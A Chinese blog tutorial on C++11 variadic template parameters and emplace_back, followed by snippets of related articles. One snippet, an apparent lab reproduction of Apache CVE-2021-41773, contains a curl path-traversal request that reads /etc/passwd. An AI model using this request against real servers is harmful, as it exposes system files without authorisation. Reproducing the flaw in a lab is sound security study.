C++11 可变的模板参数
前言
本期我们接着继续介绍C++11的新特性,本期我们介绍的这个新特性是很多人都感觉抽象的语法!它就是可变的模板参数!
目录
前言
一、可变的模板参数
1.1可变的参数列表
1.2可变的参数包
1.3可变参数包的解析
• 递归展开解析
• 逗号表达式解析
二、emplace系列接口
一、可变的模板参数
1.1可变的参数列表
对于可变参数列表,我们在C语言就见过!例如最典型的就是 printf / scanf 了!
我们在使用的时候,需要指定类型将不同类型/数量的类型都可以传递过去!
int main()
{int a;double b;char c;printf("请输入一个整数、一个浮点数和一个字符: ");scanf("%d %lf %c", &a, &b, &c);printf("输入了: %d %lf %c\n", a, b, c);return 0;
}
1.2可变的参数包
C++98/03,类模板和函数模板中只能含固定的模板参数,C++11引入了可变的模板参数能够让你创建接受可变参数的函数模板和类模板!这无疑是一个巨大的改进!正是改变巨大,所以这块比较抽象,也比较晦涩难懂!本博客主要介绍的是函数模板的可变参数!
先来见一见基本的可变参数的函数模板:
template <class ...Args>
void ShowList(Args... args)
{// ...
}
此时,我们就可以给这个函数模板传递任意类型、任意个数的参数,把这个前面带 ... 的参数统称为参数包!Args是模板的参数包,args是函数形参的参数包(Args... args的个数是0~N个)!
一般为了提高传递参数的效率,可变参数的类型一般会被写成,万能引用(引用折叠)的形式:
template <class ...Args>
void ShowList(Args&&... args)
{// ...
}
由于可变模板的参数是可变的,即支持任意类型、任意数量的参数,所以可以这样写:
int main()
{ShowList(1);ShowList(1, 'a', 9.9);ShowList(1, "aaa", 9.9, 'b');ShowList(std::vector<int>(), std::list<double>(), 'zzz', 999, "aaaaaaa");return 0;
}
这也体现了可变模板参数的强大!
1.3可变参数包的解析
用可变参数的人爽了,但是解析参数包的过程其实是不简单的!下面是一种非常典型的错误栗子:
template<class ...Args>
void showList(Args... args)
{// 错误的解析参数方式int n = sizeof...(args);for (int i = 0; i < n; i++){// 获取具体的可变参数args[i];}
}
这里使用sizeof获取参数包args的大小是把...放到了args的前面,第一次看起来的时候有点别扭~!(个人感觉)
这种方式是符合我们的直觉的,但是他是错的!
这里简单理解就是编译器不支持这样写!sizeof是编译时操作符,而参数包不是和数组一样连续的,所以不可用下标访问!
• 递归展开解析
void ShowList() { cout << endl; }// 用于结束递归template<class T, class ...Args>
void ShowList(const T& t, Args&& ...args)
{cout << t << " ";ShowList(args...);
}
这里他是如何做的呢?我用一个简单的例子,第三个来画一下:
也就是编译器,在编译期间将上述的函数模板实例化成了很多的实例,在运行时进行了调用!
• 逗号表达式解析
除了上述递归的展开的方式解析参数包以外,还有一种直接展开的方式,就是用逗号表达式解析!具体如下:
template<class T>
void Print(T& t)
{cout << t << endl;
}template<class ...Args>
void ShowList(Args&&... args)
{int arr[] = { (Print(args), 0)... };cout << endl;
}
OK,编译后他就是这个样子:
template<class ...Args>
void ShowList(Args&&... args)
{int arr[] = { (Print(1), 0), (Print('a'), 0), (Print(9,9), 0)};cout << endl;
}
为什么这里要写成 (Print(args), 0)... 呢?
我们知道,逗号表达式的结果是最后一项的值!这是主要是在展开的同时给arr数组赋值!
二、emplace系列接口
C++11 也在STL中引入了可变的模板参数,这一批接口被称为emlpace系列的接口/函数!
这里以list为例,进行介绍!
为了方便演示,我们玩还是使用我们前几期用的cp::string,所以我们把他给拿过来:
namespace cp
{class string{public:typedef char* iterator;iterator begin(){return _str;}iterator end(){return _str + _size;}string(const char* str = ""):_size(strlen(str)), _capacity(_size){cout << "string(char* str) -- 构造" << endl;_str = new char[_capacity + 1];strcpy(_str, str);}// s1.swap(s2)void swap(string& s){::swap(_str, s._str);::swap(_size, s._size);::swap(_capacity, s._capacity);}// 拷贝构造string(const string& s):_str(nullptr){cout << "string(const string& s) -- 拷贝构造" << endl;string tmp(s._str);swap(tmp);}// 赋值重载string& operator=(const string& s){cout << "string& operator=(string s) -- 赋值拷贝" << endl;string tmp(s);swap(tmp);return *this;}// 移动构造string(string&& s):_str(nullptr), _size(0), _capacity(0){cout << "string(string&& s) -- 移动构造" << endl;swap(s);}// 移动赋值string& operator=(string&& s){cout << "string& operator=(string&& s) -- 移动赋值" << endl;swap(s);return *this;}~string(){delete[] _str;_str = nullptr;}char& operator[](size_t pos){assert(pos < _size);return _str[pos];}void reserve(size_t n){if (n > _capacity){char* tmp = new char[n + 1];strcpy(tmp, _str);delete[] _str;_str = tmp;_capacity = n;}}void push_back(char ch){if (_size >= _capacity){size_t newcapacity = _capacity == 0 ? 4 : _capacity * 2;reserve(newcapacity);}_str[_size] = ch;++_size;_str[_size] = '\0';}//string operator+=(char ch)string& operator+=(char ch){push_back(ch);return *this;}const char* c_str() const{return _str;}private:char* _str;size_t _size;size_t _capacity; // 不包含最后做标识的\0};cp::string to_string(int value){cp::string str;bool flag = true;if (value < 0){flag = false;value = 0 - value;}while (value > 0){int x = value % 10;value /= 10;str += ('0' + x);}if (flag == false){str += '-';}std::reverse(str.begin(), str.end());return str;}
}
list<cp::string> lt;
// 分别让emplace_back和push_back都插入一个 左值 对象
cp::string s1("hello");
cout << "-------------------------------" << endl;
lt.push_back(s1);
cout << endl;
lt.emplace_back(s1);// 分别让emplace_back和push_back都插入一个 左值move后的 对象
cout << "-------------------------------" << endl;
lt.push_back(move(s1));
cout << endl;
lt.emplace_back(move(s1));// 分别让emplace_back和push_back都插入一个 右值 对象
cout << "-------------------------------" << endl;
lt.push_back(cp::string("6666"));
cout << endl;
lt.emplace_back(cp::string("6666"));// 分别让emplace_back插入一个参数包 push_back都插入一个右值 对象
cout << "-------------------------------" << endl;
lt.push_back("6666");
cout << endl;
lt.emplace_back("6666");
看结果:
通过上面的栗子,我们可以得出结论:
1、当emplace和push系列都插入左值/move(左值)的结果是一样的(拷贝构造/移动构造)!
2、当emplace插入一个参数包,push系列都插入一个右值时,emplace是构造,而push系列是构造+移动构造!
• 为什么emplace系列传入参数包后是直接构造?
上面介绍了,emplace系列的是引用了模板的可变参数,所以他可以接受的是一个参数包!其实他的底层是一层层的传递下去,直接到构造那里,用参数包的参数直接构造的,所以就只有一次构造!
这其实就是,有人所说的emplace效率高的原因所在!就是直接使用emplace传递参数包可以少一次,移动构造!
所以,emplace系列的插入对象的优先级为:
参数包 > 右值 > 左值
这里左值的代价较高,因为有一次的拷贝构造!右值其实和参数包的差别也还好,原因是移动构造的待见很轻!但是能用参数包的地方还是用参数包!以后就建议多使用emplace系列,因为emplace系列>=push系列 的效率!
OK,好兄弟,本期分享就到这里!我是cp我们下期再见~!
相关文章:

C++11 可变的模板参数
前言 本期我们接着继续介绍C11的新特性,本期我们介绍的这个新特性是很多人都感觉抽象的语法!它就是可变的模板参数! 目录 前言 一、可变的模板参数 1.1可变的参数列表 1.2可变的参数包 1.3可变参数包的解析 • 递归展开解析 • 逗号…...

手机在网状态查询接口如何用PHP进行调用?
一、什么是手机在网状态查询接口? 手机在网状态查询接口,即输入手机号码查询手机号在网状态,返回有正常使用、停机、在网但不可用、不在网(销号/未启用/异常)、预销户等多种状态。 二、手机在网状态查询适用哪些场景…...

MATLAB中多张fig图合并为一个图
将下列两个图和为一个图 打开查看-----绘图浏览器 点击第一幅图中曲线右键复制,到第二幅图中粘贴即可完成...

Java启动Tomcat: Can‘t load IA 32-bit .dll on a AMD 64-bit platform报错问题解决
🎬 鸽芷咕:个人主页 🔥 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 专栏介绍 在软件开发和日常使用中,BUG是不可避免的。本专栏致力于为广大开发者和技术爱好者提供一个关于BUG解决的经…...

基于微信小程序的家教信息管理系统的设计与实现(论文+源码)_kaic
摘 要 随着互联网时代的来临,使得传统的家教模式已不复存在,亟需一种方便、快捷的在线教学平台。因此,利用Java语言作为支撑和MySQL数据库存储数据,结合微信小程序的便利性,为用户开发出了一个更加人性化、方便的家庭…...

【Android】BottomSheet基本用法总结(BottomSheetDialog,BottomSheetDialogFragment)
BottomSheet BottomSheet 是一种位于屏幕底部的面板,用于显示附加内容或选项。提供了从屏幕底部向上滑动显示内容的交互方式。这种设计模式在 Material Design 中被广泛推荐,因为它可以提供一种优雅且不干扰主屏幕内容的方式来展示额外信息或操作。 具体…...
Linux下实现ls命令的功能
教材:<Linux编程技术详解> 杜华 编著 人民邮电出版社 参考页码:P136 书中源代码: //p4.10.c 实现类似ls命令的功能 #include<stdio.h> #include<sys/types.h> #include<dirent.h> #include<stdlib.h> #include<sys/stat.h> #include&l…...

【中国留学网-注册_登录安全分析报告】
前言 由于网站注册入口容易被黑客攻击,存在如下安全问题: 暴力破解密码,造成用户信息泄露短信盗刷的安全问题,影响业务及导致用户投诉带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞…...

jvm中的程序计数器、虚拟机栈和本地方法栈
引言 本文主要介绍一下jvm虚拟机中的程序计数器、虚拟机栈和本地方法栈。 程序计数器 作用 作用:记录下一条jvm指令的执行地址。 下面具体描述一下程序计数器的作用。 这里有两个代码,右边的为源代码,左边为编译之后的字节码。 当我们…...

安卓数据存储——SharedPreferences
共享参数 SharedPreferences 1、sharedPreferences是Android的一个轻量级存储工具,采用的存储结构是key - value的键值对方式 2、共享参数的存储介质是符合XML规范的配置文件。保存路径是:/data/data/应用包名/shared_prefs/文件名.xml 使用场景&…...

【计算机网络篇】数据链路层 功能|组帧|流量控制与可靠传输机制
🧸安清h:个人主页 🎥个人专栏:【计算机网络】 🚦作者简介:一个有趣爱睡觉的intp,期待和更多人分享自己所学知识的真诚大学生。 系列文章目录 【计算机网络篇】计算机网络概述 【计算机网络篇…...

Apache CVE-2021-41773漏洞复现
1、环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2、使⽤poc curl http://47.121.212.195:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3、工具验证...

带线无人机现身俄罗斯抗干扰技术详解
带线无人机在俄罗斯的出现,特别是其光纤制导技术的应用,标志着无人机抗干扰技术的一大进步。以下是对俄罗斯带线无人机抗干扰技术的详细解析: 一、带线无人机抗干扰技术背景 技术突破:俄军成功研发了光纤制导无人机,…...

ArcGIS10.2/10.6安装包下载与安装(附详细安装步骤)
相信从事地理专业的小伙伴来说,应该对今天的标题不会陌生。Arcgis是一款很常用的地理信息系统软件,主要用于地理数据的采集、管理、分析和展示。目前比较常见的版本有ArcGIS 10.2和ArcGIS 10.6。 不可否认,Arcgis具有强大的地图制作、空间分…...

生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队指导设计、解读实验结果。
查看原文>>>生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队免费指导设计、解读实验结果、一台服务器解决您所有的分析困扰!...

【machine learning-14-特征缩放-归一化】
特征缩放是提升线性回归收敛速度的技巧,什么是特征缩放? 又是什么场景下需要特征缩放,有哪些特征缩放的方法呢? 特征值差异 我们还是以之前房间预测为例: 这里面是特征房屋大小 房间数目 与房价的关系 本文为简化…...
二叉树堆的建立与排序
在数据结构中,二叉树是非常好用的一种数据结构,这节暂时按下不表。这节课主要介绍堆的建立与使用。 堆,是二叉树中一种很特殊的结构,首先,他必须是满二叉树,也就是除了最后一层以外,其他层都是…...

【软件测试】Bug 篇
哈喽,哈喽,大家好~ 我是你们的老朋友:保护小周ღ 今天给大家带来的是 【软件测试】Bug 篇,首先了解, 什么是Bug, 如何定义一个Bug, 如何描述一个 Bug, Bug的级别, 和 Bug 的生命周期, 以及测试人员跟开发人员产生争执如何处理,…...
oracle 多表查询
3.6多表查询 当查询的数据并不是来源一个表时,需要使用多表连接操作完成查询。多表连接查询通过表之间的关联字段,一次查询出多个表的数据。 3.6.1等值连接 等值连接也称为简单连接(Simple Joins)或者内连接(Inner Join)。通过等号来判断连接条件中的数据…...
layui 可以使点击图片放大
layui可以使图片点击放大,不用在写jquyery了真是很方便。 操作示例 引入 <link rel"stylesheet" href"https://cdn.jsdelivr.net/npm/layui-layer3.1.1/dist/layui.css" /> <script src"https://cdn.bootcdn.net/ajax/libs/jqu…...
k8s从入门到放弃之Ingress七层负载
k8s从入门到放弃之Ingress七层负载 在Kubernetes(简称K8s)中,Ingress是一个API对象,它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress,你可…...
Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器
第一章 引言:语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域,文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量,支撑着搜索引擎、推荐系统、…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)
宇树机器人多姿态起立控制强化学习框架论文解析 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一) 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...

网站指纹识别
网站指纹识别 网站的最基本组成:服务器(操作系统)、中间件(web容器)、脚本语言、数据厍 为什么要了解这些?举个例子:发现了一个文件读取漏洞,我们需要读/etc/passwd,如…...

Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战
说明:这是一个机器学习实战项目(附带数据代码文档),如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下,风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…...
uniapp 集成腾讯云 IM 富媒体消息(地理位置/文件)
UniApp 集成腾讯云 IM 富媒体消息全攻略(地理位置/文件) 一、功能实现原理 腾讯云 IM 通过 消息扩展机制 支持富媒体类型,核心实现方式: 标准消息类型:直接使用 SDK 内置类型(文件、图片等)自…...
离线语音识别方案分析
随着人工智能技术的不断发展,语音识别技术也得到了广泛的应用,从智能家居到车载系统,语音识别正在改变我们与设备的交互方式。尤其是离线语音识别,由于其在没有网络连接的情况下仍然能提供稳定、准确的语音处理能力,广…...

沙箱虚拟化技术虚拟机容器之间的关系详解
问题 沙箱、虚拟化、容器三者分开一一介绍的话我知道他们各自都是什么东西,但是如果把三者放在一起,它们之间到底什么关系?又有什么联系呢?我不是很明白!!! 就比如说: 沙箱&#…...

阿里云Ubuntu 22.04 64位搭建Flask流程(亲测)
cd /home 进入home盘 安装虚拟环境: 1、安装virtualenv pip install virtualenv 2.创建新的虚拟环境: virtualenv myenv 3、激活虚拟环境(激活环境可以在当前环境下安装包) source myenv/bin/activate 此时,终端…...

【Linux】Linux安装并配置RabbitMQ
目录 1. 安装 Erlang 2. 安装 RabbitMQ 2.1.添加 RabbitMQ 仓库 2.2.安装 RabbitMQ 3.配置 3.1.启动和管理服务 4. 访问管理界面 5.安装问题 6.修改密码 7.修改端口 7.1.找到文件 7.2.修改文件 1. 安装 Erlang 由于 RabbitMQ 是用 Erlang 编写的,需要先安…...